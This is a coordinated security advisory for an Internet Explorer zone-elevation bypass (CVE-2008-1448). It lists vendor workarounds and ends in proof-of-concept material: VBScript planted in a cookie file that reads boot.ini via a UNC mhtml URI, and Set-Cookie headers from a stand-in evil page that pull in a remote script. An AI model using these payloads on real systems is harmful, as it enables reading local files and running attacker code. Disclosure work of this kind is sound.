Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass

Advisory Information

**Title:**Internet Explorer Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass
**Advisory ID:**CORE-2008-0103
**Date published:**2008-08-13
**Date of last update:**2008-08-12
**Vendors contacted:**Microsoft
**Release mode:**Coordinated release

Vulnerability Information

**Class:**Zone Elevation Restrictions Bypass and Security Zone Restrictions Bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
Bugtraq ID:30585
CVE Name:CVE-2008-1448

Vulnerability Description

Internet Explorer introduces the concept of URL Security Zones, which basically define a set of privileges for web applications (such as, for example, accessing and/or modifying the local computer files) depending on their level of trustworthiness.

Issues have been found in the way that security policies are applied when a URI is specified in the UNC form: \\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE

• When a remote site attempts to access a local resource, Internet Explorer will fail to enforce the Zone Elevation restrictions.

• When browsing a remote site, Internet Explorer will not apply the right Security Zone permissions, allowing a site belonging to a less secure zone to be treated as one belonging to a more privileged zone.

Vulnerable packages

• Internet Explorer 5 under Windows 2000/2003/XP
• Internet Explorer 6 under Windows 2000/2003/XP
• Internet Explorer 7 under Windows 2000/2003/XP
• Internet Explorer 7 under Windows Vista (when protected mode is turned off)

Non-vulnerable packages

• This vulnerability is addressed by Microsoft Security Bulletin MS08-048

Vendor Information, Solutions and Workarounds

Microsoft has issued Security Bulletin MS08-048 to address this vulnerability. The bulletin includes workarounds and mitigating factors.

Workarounds communicated by the vendor include:

• Locking down the MHTML protocol handler. Below are the required registry changes.

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN] “explorer.exe”=dword:00000001 “iexplore.exe”=dword:00000001 “*”=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\1] “mhtml”=“mhtml” [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\2] “mhtml”=“mhtml” [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\3] “mhtml”=“mhtml” [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\4] “mhtml”=“mhtml”

• Disabling the MHTML protocol handler. To disable the protocol handler, follow these steps:

  1. Click Start and then click Run. Enter regedit.exe in the text box and click OK. 2. Navigate to HKEY_CLASSES_ROOT\CLSID{05300401-BCBC-11d0-85E3-00C04FD85AB4}. 3. Right click {05300401-BCBC-11d0-85E3-00C04FD85AB4} and select Permissions. 4. Click Advanced. 5. Deselect Allow inheritable permissions from the parent to propagate 6. Click Remove, and then click OK. Click Yes and OK on subsequent screens.

Credits

This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Technologies.

Technical Description / Proof of Concept Code

Internet Explorer is the most popular Internet browser in the world as it is an integrated component of every Windows installation. It introduces the concept of URL Security Zones, as explained in [1], which basically define a set of privileges for web applications (such as accessing and modifying the local computer files) depending on their level of trustworthiness, namely:

• Local Intranet Zone: for content located on an organization’s intranet. Because the servers and information are within an organization’s firewall, it is reasonable to assign a higher level of trust to content on the intranet.

• Trusted Sites Zone: for content located on Web sites that are considered more reputable or trustworthy than other sites on the Internet. Assigning a higher level of trust to these sites minimizes the number of related authentication requests. The user adds the URLs of trusted Web sites to this zone.

• Internet Zone: for Web sites on the Internet that do not belong to another zone. This default setting causes Internet Explorer to prompt the user whenever potentially unsafe content is about to be downloaded. Web sites that are not mapped into other zones automatically fall into this zone.

• Restricted Sites Zone: used for Web sites that contain content that can cause (or have previously caused) problems when downloaded. This zone causes Internet Explorer to alert users when potentially-unsafe content is about to be downloaded, or to prevent the content from downloading. The user adds the URLs of these un-trusted Web sites to this zone.

• Local Machine Zone: the Local Machine zone is an implicit zone for content that exists on the local computer. The content found on the user’s computer (except for content that Internet Explorer caches on the local system) is treated with a high level of trust.

THE PROBLEM

There are issues in the manner that security policies are applied when a URI is specified in the UNC form:

\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE

• When a remote site attempts to access a local resource, Internet Explorer will fail to enforce the Zone Elevation restrictions.
• When browsing a remote site, Internet Explorer will fail to apply the right Security Zone permissions, allowing a site belonging to a less secure zone to be treated as one belonging to a more privileged zone.

TECHNICAL BACKGROUND

The Proof of Concepts below exploit the aforementioned issue by taking advantage of other features of Internet Explorer. Keep in mind that:

• Besides the common web content types (such as plain http, image, audio and video) the browser is also able to render other standardized content types, among them, MIME HTML or mhtml. And, overriding the way IE chooses to render a file (described in [2]) presents a way to enforce the rendering type as MIME HTML by using the protocol handler for mhtml in the following manner:

  mhtml:[PATH_TO_RESOURCE]

The resource content begins with the MIME HTML headers describing their contents, as shown below.

 From: <wherever the contents where from> Subject: <whatever> Date: <whatever> MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----=_NextPart_000_0000_01C8457B.CB7FBF60" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028 [FILE CONTENTS] 

But, in fact, the only header lines required for the file being rendered as mhtml, are:

 Content-Type: <file content type> [FILE CONTENTS] 

Cookies are stored in independent text files (one for each domain) inside the cookies folder (usually located at \Documents and settings\USERNAME\Cookies in all Windows NT based implementations). The cookie file name is structured in the following manner:

 [email protected][X] 

where X is an integer like 1,2,3, depending on the Internet Explorer choice.

The cookies folder is hardcoded inside the Explorer engine as a restricted site. You can check it by looking at the status bar when browsing this folder with Windows Explorer.

When requesting a resource, for example, in the src attribute of an HTML img tag, Internet Explorer allows the usage of smb URIs. So, when IE attempts to render the following line:

 <img src> 

It will attempt to establish an SMB connection against the IP_OR_HOSTNAME machine, using the port 445. If this communication is allowed, the username and a ciphered challenge/response will be sent to the IP_OR_HOSTNAME specified.

Internet Explorer reacts different when a requested resource is directly accessed or when it’s found after a redirection. If a page hosted in domain A makes a reference to a resource located at domain B, the user will be prompted to download this file from the B domain. But if the resource is requested, for example, in the following way:

 <img src> 

And the resource.pl contents are something like:

 Status: 302 Found Location: B/realResource 

Internet Explorer will download the B/realResource file transparently. Of course, in both cases, the security policies assigned to each domain will be applied.

ATTACK DESCRIPTION

In order to reproduce the vulnerability, follow these steps:

Create a file called evilCookie.txt in your cookies folder with the following content:

Content-Type: text/html &lt;HTML&gt; &lt;BODY&gt; This text is <h1>HTML code</h1>inside your cookie &lt;SCRIPT language="VBScript"&gt; With CreateObject("MSXML2.XMLHTTP") .open "GET", "\\127.0.0.1\C$\boot.ini", False .send a = .ResponseText End With MsgBox a &lt;/SCRIPT&gt; &lt;/BODY&gt; &lt;/HTML&gt; 

Point your IE to the following URI, replacing USERNAME with the currently logged in user name.

 mhtml:\\127.0.0.1\C$\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt 

The contents of your boot.ini file will be displayed in a message box (or could be programmatically sent to a remote web site).

Note that if you reference this file in a different way than using the UNC, the privileged VB script code (which requires local machine zone permissions to execute) won’t execute. For example, accessing the file through the following link:

 mhtml:C:\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt 

will result in the file being opened and rendered, but the privileged code will not be executed. That’s because the folder containing the file evilCookie.txt belongs to the Restricted Sites Zone.

PROOF OF CONCEPT CODE

In this PoC, with nothing but a click on a link to an evil page, the contents of the boot.ini file (located at the system root in all Windows NT based implementations) will be read using VBScript.

In order to do so, local machine zone permissions are required. So, we need a way to put our code inside the client’s machine. We will do so by storing our code in a cookie.

Let’s assume the victim user points his browser to the following URL:

 http://example.com/evilPage 

and this page sets their cookies with the following contents:

 Set-Cookie: Content-Type: text/html=; path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT Set-Cookie: &lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;=&lt;HTML&gt;&lt;BODY&gt;This text is <h1>HTML code</h1>inside your cookie &lt;SCRIPT language="VBScript" src="http://example.com/evilScript.vbs"&gt;&lt;/SCRIPT&gt;&lt;/BODY&gt;&lt;/HTML&gt;